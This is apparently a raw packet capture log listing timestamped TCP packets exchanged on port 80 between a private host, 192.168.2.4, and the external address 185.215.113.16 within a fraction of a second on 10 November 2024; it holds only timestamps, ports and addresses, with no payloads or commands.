Nov 10, 2024 19:44:29.499774933 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499804020 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499849081 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499891996 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499908924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499917984 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499953032 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499969006 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.499973059 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499980927 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.499996901 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500015020 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500049114 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500107050 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500128984 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500139952 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500153065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500164032 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500184059 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500190973 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500202894 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500211954 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500226021 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500233889 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500247002 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500267029 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500274897 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500287056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500298977 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500310898 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500325918 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500334024 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500340939 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500359058 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500365973 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500376940 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500385046 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500396013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500402927 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500416040 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500425100 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500437021 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500454903 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500463963 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500474930 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500488997 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500495911 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500504017 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500514030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500528097 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500534058 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500541925 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500550985 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500565052 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500579119 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500586033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500597954 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500613928 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500621080 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500632048 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500638008 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500653028 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500658035 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500669956 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500674009 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500684023 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500693083 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500700951 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500710964 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.500720978 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.500746012 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.501300097 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501347065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501358032 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501379967 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.501405001 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501410007 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.501493931 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501504898 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501526117 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.501540899 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501554966 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.501564980 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501581907 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.501595020 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.501631021 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501641035 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501657963 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501663923 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.501682997 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.501694918 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501703978 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.501713991 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501729012 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.501735926 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501744032 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.501754045 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501765966 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.501776934 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501786947 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501791954 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.501804113 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501808882 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.501820087 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501827002 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.501840115 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501844883 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.501853943 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.501864910 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.501873970 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.501918077 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.545094013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.545104027 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.545114040 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.545202971 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.579159975 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579219103 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579226017 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.579246044 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579260111 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.579266071 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579274893 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579291105 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579308033 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.579324961 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579335928 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579344034 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.579355955 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579369068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579381943 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579386950 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.579397917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579415083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579427004 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.579456091 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.579648018 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579658985 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579683065 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.579689026 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579698086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579710007 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.579715967 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.579724073 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579732895 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.579749107 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579758883 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579766989 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.579778910 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.579783916 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579793930 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579802990 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.579813957 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579823971 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.579834938 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.579840899 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.579857111 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.579881907 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.611191988 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.611257076 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.611268997 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.611300945 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.611329079 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.611334085 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.611349106 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.611375093 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.611392975 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.611412048 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.611423016 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.611448050 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.611464024 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.611471891 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.611491919 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.611526966 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.613692045 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.613751888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.613761902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.613784075 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.613795042 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.613809109 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.613820076 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.613836050 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.613847971 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.613858938 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.613879919 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.613886118 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.613894939 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.613910913 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.613920927 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.613944054 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.613951921 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.613976955 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.613987923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.614006042 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.614026070 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.614034891 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.614049911 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.614059925 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.614073992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.614080906 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.614090919 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.614108086 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.614124060 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.614139080 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.614166975 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.614176989 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.614190102 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.614200115 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.614209890 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.614218950 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.614233971 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.614240885 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.614253998 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.614264965 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.614276886 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.614284039 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.614305973 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.614326000 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.614336967 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.614356995 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.614372015 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.615225077 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615268946 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615279913 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615304947 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.615330935 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615336895 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.615350008 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615365982 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.615375996 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615382910 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.615403891 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615413904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615431070 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615438938 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.615453959 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615463972 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.615474939 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615494013 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.615509033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615516901 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.615540981 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.615545034 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615556002 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615576982 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.615593910 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.615612984 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615623951 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615643024 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615659952 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.615681887 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.615787029 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615812063 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615856886 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.615865946 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615895033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615904093 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.615928888 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.615938902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615963936 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.615972042 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.615994930 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.616004944 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.616019964 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.616028070 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.616039991 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.616050959 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.616061926 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.616069078 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.616084099 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.616091013 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.616105080 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.616112947 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.616125107 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.616134882 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.616154909 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.616564035 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.616610050 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.616782904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.616802931 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.616827965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.616837025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.616844893 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.616856098 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.616864920 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.616877079 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.616887093 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.616899967 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.616904974 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.616915941 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.616924047 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.616934061 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.616944075 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.616955042 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.616962910 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.616975069 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.616981983 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.616991997 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617000103 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617007017 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617014885 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617023945 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617029905 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617043018 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617049932 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617058992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617064953 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617079020 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617083073 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617093086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617100954 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617109060 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617115021 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617125988 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617132902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617142916 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617152929 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617161989 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617167950 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617178917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617192030 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617197037 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617213964 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617222071 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617239952 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617248058 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617254972 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617265940 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617275000 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617291927 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617297888 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617315054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617326975 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617341995 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617348909 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617369890 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617383957 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617398024 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.617403030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617423058 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.617429018 CET	49762	80	192.168.2.4	185.215.113.16
